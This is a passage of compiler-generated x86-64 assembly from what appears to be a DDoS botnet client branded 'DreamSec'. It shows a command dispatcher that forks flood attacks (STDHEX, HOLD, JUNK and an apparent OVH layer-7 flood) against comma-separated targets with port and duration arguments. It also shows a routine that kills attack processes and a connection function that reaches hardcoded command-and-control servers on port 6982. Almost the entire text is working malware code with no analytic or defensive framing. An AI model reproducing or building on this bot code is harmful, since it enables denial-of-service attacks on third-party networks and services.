	mov	edx, DWORD PTR -428[rbp]
	mov	ecx, DWORD PTR -432[rbp]
	mov	rax, QWORD PTR -248[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L457:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -248[rbp], rax
.L456:
	cmp	QWORD PTR -248[rbp], 0
	jne	.L458
	jmp	.L452
.L455:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L560
	mov	edx, DWORD PTR -428[rbp]
	mov	ecx, DWORD PTR -432[rbp]
	mov	rax, QWORD PTR -104[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L452:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC299[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L460
	cmp	DWORD PTR -532[rbp], 3
	jle	.L561
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L561
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L561
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -96[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -424[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -420[rbp], eax
	mov	rax, QWORD PTR -96[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L463
	mov	rax, QWORD PTR -96[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -240[rbp], rax
	jmp	.L464
.L466:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L465
	mov	edx, DWORD PTR -420[rbp]
	mov	ecx, DWORD PTR -424[rbp]
	mov	rax, QWORD PTR -240[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L465:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -240[rbp], rax
.L464:
	cmp	QWORD PTR -240[rbp], 0
	jne	.L466
	jmp	.L460
.L463:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L562
	mov	edx, DWORD PTR -420[rbp]
	mov	ecx, DWORD PTR -424[rbp]
	mov	rax, QWORD PTR -96[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L460:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC300[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L468
	cmp	DWORD PTR -532[rbp], 3
	jle	.L563
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L563
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L563
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -88[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -416[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -412[rbp], eax
	mov	rax, QWORD PTR -88[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L471
	mov	rax, QWORD PTR -88[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -232[rbp], rax
	jmp	.L472
.L474:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L473
	mov	edx, DWORD PTR -412[rbp]
	mov	ecx, DWORD PTR -416[rbp]
	mov	rax, QWORD PTR -232[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L473:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -232[rbp], rax
.L472:
	cmp	QWORD PTR -232[rbp], 0
	jne	.L474
	jmp	.L468
.L471:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L564
	mov	edx, DWORD PTR -412[rbp]
	mov	ecx, DWORD PTR -416[rbp]
	mov	rax, QWORD PTR -88[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L468:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC301[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L476
	cmp	DWORD PTR -532[rbp], 3
	jle	.L565
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L565
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L565
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -80[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -408[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -404[rbp], eax
	mov	rax, QWORD PTR -80[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L479
	mov	rax, QWORD PTR -80[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -224[rbp], rax
	jmp	.L480
.L482:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L481
	mov	edx, DWORD PTR -404[rbp]
	mov	ecx, DWORD PTR -408[rbp]
	mov	rax, QWORD PTR -224[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L481:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -224[rbp], rax
.L480:
	cmp	QWORD PTR -224[rbp], 0
	jne	.L482
	jmp	.L476
.L479:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L566
	mov	edx, DWORD PTR -404[rbp]
	mov	ecx, DWORD PTR -408[rbp]
	mov	rax, QWORD PTR -80[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L476:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC302[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L484
	cmp	DWORD PTR -532[rbp], 3
	jle	.L567
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L567
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L567
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -72[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -400[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -396[rbp], eax
	mov	rax, QWORD PTR -72[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L487
	mov	rax, QWORD PTR -72[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -216[rbp], rax
	jmp	.L488
.L490:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L489
	mov	edx, DWORD PTR -396[rbp]
	mov	ecx, DWORD PTR -400[rbp]
	mov	rax, QWORD PTR -216[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L489:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -216[rbp], rax
.L488:
	cmp	QWORD PTR -216[rbp], 0
	jne	.L490
	jmp	.L484
.L487:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L568
	mov	edx, DWORD PTR -396[rbp]
	mov	ecx, DWORD PTR -400[rbp]
	mov	rax, QWORD PTR -72[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L484:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC303[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L492
	cmp	DWORD PTR -532[rbp], 3
	jle	.L569
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 10000
	jg	.L569
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L569
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L570
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	r12d, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	ebx, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	movzx	esi, ax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	ecx, r12d
	mov	edx, ebx
	mov	rdi, rax
	call	ovhl7
	mov	edi, 0
	call	exit@PLT
.L492:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC304[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L496
	cmp	DWORD PTR -532[rbp], 3
	jle	.L571
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 10000
	jg	.L571
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L571
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L572
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	r12d, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	ebx, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	movzx	esi, ax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	ecx, r12d
	mov	edx, ebx
	mov	rdi, rax
	call	ovhl7
	mov	edi, 0
	call	exit@PLT
.L496:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC305[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L500
	cmp	DWORD PTR -532[rbp], 3
	jle	.L573
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 10000
	jg	.L573
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L573
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L574
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	r12d, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	ebx, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	movzx	esi, ax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	ecx, r12d
	mov	edx, ebx
	mov	rdi, rax
	call	ovhl7
	mov	edi, 0
	call	exit@PLT
.L500:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC306[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L504
	cmp	DWORD PTR -532[rbp], 3
	jle	.L575
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 10000
	jg	.L575
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L575
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L576
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	r12d, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	ebx, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	movzx	esi, ax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	ecx, r12d
	mov	edx, ebx
	mov	rdi, rax
	call	ovhl7
	mov	edi, 0
	call	exit@PLT
.L504:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC307[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L508
	cmp	DWORD PTR -532[rbp], 3
	jle	.L577
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 10000
	jg	.L577
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L577
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L578
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	r12d, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	ebx, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	movzx	esi, ax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	ecx, r12d
	mov	edx, ebx
	mov	rdi, rax
	call	ovhl7
	mov	edi, 0
	call	exit@PLT
.L508:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC308[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L512
	cmp	DWORD PTR -532[rbp], 3
	jle	.L579
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L579
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L579
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -64[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -392[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -388[rbp], eax
	mov	rax, QWORD PTR -64[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L515
	mov	rax, QWORD PTR -64[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -208[rbp], rax
	jmp	.L516
.L518:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L517
	mov	edx, DWORD PTR -388[rbp]
	mov	ecx, DWORD PTR -392[rbp]
	mov	rax, QWORD PTR -208[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	sendHOLD
	mov	edi, 0
	call	_exit@PLT
.L517:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -208[rbp], rax
.L516:
	cmp	QWORD PTR -208[rbp], 0
	jne	.L518
	jmp	.L512
.L515:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L580
	mov	edx, DWORD PTR -388[rbp]
	mov	ecx, DWORD PTR -392[rbp]
	mov	rax, QWORD PTR -64[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	sendHOLD
	mov	edi, 0
	call	_exit@PLT
.L512:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC309[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L520
	cmp	DWORD PTR -532[rbp], 3
	jle	.L581
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L581
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L581
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -56[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -384[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -380[rbp], eax
	mov	rax, QWORD PTR -56[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L523
	mov	rax, QWORD PTR -56[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -200[rbp], rax
	jmp	.L524
.L526:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L525
	mov	edx, DWORD PTR -380[rbp]
	mov	ecx, DWORD PTR -384[rbp]
	mov	rax, QWORD PTR -200[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	sendJUNK
	mov	eax, DWORD PTR mainCommSock[rip]
	mov	edi, eax
	call	close@PLT
	mov	edi, 0
	call	_exit@PLT
.L525:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -200[rbp], rax
.L524:
	cmp	QWORD PTR -200[rbp], 0
	jne	.L526
	jmp	.L520
.L523:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L582
	mov	edx, DWORD PTR -380[rbp]
	mov	ecx, DWORD PTR -384[rbp]
	mov	rax, QWORD PTR -56[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	sendJUNK
	mov	edi, 0
	call	_exit@PLT
.L520:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC310[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L528
	mov	DWORD PTR -524[rbp], 0
	mov	QWORD PTR -192[rbp], 0
	jmp	.L529
.L531:
	mov	rdx, QWORD PTR pids[rip]
	mov	rax, QWORD PTR -192[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	test	eax, eax
	je	.L530
	mov	rdx, QWORD PTR pids[rip]
	mov	rax, QWORD PTR -192[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	ebx, DWORD PTR [rax]
	call	getpid@PLT
	cmp	ebx, eax
	je	.L530
	mov	rdx, QWORD PTR pids[rip]
	mov	rax, QWORD PTR -192[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	mov	esi, 9
	mov	edi, eax
	call	kill@PLT
	add	DWORD PTR -524[rbp], 1
.L530:
	add	QWORD PTR -192[rbp], 1
.L529:
	mov	rax, QWORD PTR numpids[rip]
	cmp	QWORD PTR -192[rbp], rax
	jb	.L531
.L528:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC311[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L532
	mov	DWORD PTR -520[rbp], 0
	mov	QWORD PTR -184[rbp], 0
	jmp	.L533
.L535:
	mov	rdx, QWORD PTR pids[rip]
	mov	rax, QWORD PTR -184[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	test	eax, eax
	je	.L534
	mov	rdx, QWORD PTR pids[rip]
	mov	rax, QWORD PTR -184[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	ebx, DWORD PTR [rax]
	call	getpid@PLT
	cmp	ebx, eax
	je	.L534
	mov	rdx, QWORD PTR pids[rip]
	mov	rax, QWORD PTR -184[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	mov	esi, 9
	mov	edi, eax
	call	kill@PLT
	add	DWORD PTR -520[rbp], 1
.L534:
	add	QWORD PTR -184[rbp], 1
.L533:
	mov	rax, QWORD PTR numpids[rip]
	cmp	QWORD PTR -184[rbp], rax
	jb	.L535
.L532:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC312[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L357
	mov	DWORD PTR -516[rbp], 0
	mov	QWORD PTR -176[rbp], 0
	jmp	.L536
.L538:
	mov	rdx, QWORD PTR pids[rip]
	mov	rax, QWORD PTR -176[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	test	eax, eax
	je	.L537
	mov	rdx, QWORD PTR pids[rip]
	mov	rax, QWORD PTR -176[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	ebx, DWORD PTR [rax]
	call	getpid@PLT
	cmp	ebx, eax
	je	.L537
	mov	rdx, QWORD PTR pids[rip]
	mov	rax, QWORD PTR -176[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	mov	esi, 9
	mov	edi, eax
	call	kill@PLT
	add	DWORD PTR -516[rbp], 1
.L537:
	add	QWORD PTR -176[rbp], 1
.L536:
	mov	rax, QWORD PTR numpids[rip]
	cmp	QWORD PTR -176[rbp], rax
	jb	.L538
	jmp	.L357
.L539:
	nop
	jmp	.L357
.L540:
	nop
	jmp	.L357
.L541:
	nop
	jmp	.L357
.L542:
	nop
	jmp	.L357
.L543:
	nop
	jmp	.L357
.L544:
	nop
	jmp	.L357
.L545:
	nop
	jmp	.L357
.L546:
	nop
	jmp	.L357
.L547:
	nop
	jmp	.L357
.L548:
	nop
	jmp	.L357
.L549:
	nop
	jmp	.L357
.L550:
	nop
	jmp	.L357
.L551:
	nop
	jmp	.L357
.L552:
	nop
	jmp	.L357
.L553:
	nop
	jmp	.L357
.L554:
	nop
	jmp	.L357
.L555:
	nop
	jmp	.L357
.L556:
	nop
	jmp	.L357
.L557:
	nop
	jmp	.L357
.L558:
	nop
	jmp	.L357
.L559:
	nop
	jmp	.L357
.L560:
	nop
	jmp	.L357
.L561:
	nop
	jmp	.L357
.L562:
	nop
	jmp	.L357
.L563:
	nop
	jmp	.L357
.L564:
	nop
	jmp	.L357
.L565:
	nop
	jmp	.L357
.L566:
	nop
	jmp	.L357
.L567:
	nop
	jmp	.L357
.L568:
	nop
	jmp	.L357
.L569:
	nop
	jmp	.L357
.L570:
	nop
	jmp	.L357
.L571:
	nop
	jmp	.L357
.L572:
	nop
	jmp	.L357
.L573:
	nop
	jmp	.L357
.L574:
	nop
	jmp	.L357
.L575:
	nop
	jmp	.L357
.L576:
	nop
	jmp	.L357
.L577:
	nop
	jmp	.L357
.L578:
	nop
	jmp	.L357
.L579:
	nop
	jmp	.L357
.L580:
	nop
	jmp	.L357
.L581:
	nop
	jmp	.L357
.L582:
	nop
.L357:
	lea	rsp, -24[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE38:
	.size	processCmd, .-processCmd
	.globl	initConnection
	.type	initConnection, @function
initConnection:
.LFB39:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 544
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -528[rbp]
	mov	edx, 512
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	eax, DWORD PTR mainCommSock[rip]
	test	eax, eax
	je	.L584
	mov	eax, DWORD PTR mainCommSock[rip]
	mov	edi, eax
	call	close@PLT
	mov	DWORD PTR mainCommSock[rip], 0
.L584:
	mov	eax, DWORD PTR currentServer[rip]
	test	eax, eax
	jne	.L585
	mov	DWORD PTR currentServer[rip], 0
	jmp	.L586
.L585:
	mov	eax, DWORD PTR currentServer[rip]
	add	eax, 1
	mov	DWORD PTR currentServer[rip], eax
.L586:
	mov	eax, DWORD PTR currentServer[rip]
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, commServer[rip]
	mov	rdx, QWORD PTR [rdx+rax]
	lea	rax, -528[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcpy@PLT
	mov	DWORD PTR -532[rbp], 6982
	lea	rax, -528[rbp]
	mov	esi, 58
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L587
	lea	rax, -528[rbp]
	mov	esi, 58
	mov	rdi, rax
	call	strchr@PLT
	add	rax, 1
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -532[rbp], eax
	lea	rax, -528[rbp]
	mov	esi, 58
	mov	rdi, rax
	call	strchr@PLT
	mov	BYTE PTR [rax], 0
.L587:
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR mainCommSock[rip], eax
	mov	eax, DWORD PTR mainCommSock[rip]
	mov	edx, DWORD PTR -532[rbp]
	lea	rsi, -528[rbp]
	mov	ecx, 30
	mov	edi, eax
	call	connectTimeout
	test	eax, eax
	jne	.L588
	mov	eax, 1
	jmp	.L590
.L588:
	mov	eax, 0
.L590:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L591
	call	__stack_chk_fail@PLT
.L591:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE39:
	.size	initConnection, .-initConnection
	.section	.rodata
	.align 8
.LC313:
	.string	"\033[0m[\033[1;31mDreamSec.\033[0m][\033[1;31m%s\033[0m]\033[1;31m:\033[0m[\033[1;31m%s\033[0m] \033[1;31m>\033[0m [\033[1;31m%s\033[0m]"
	.text
	.globl	main
	.type	main, @function
main:
.LFB40:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
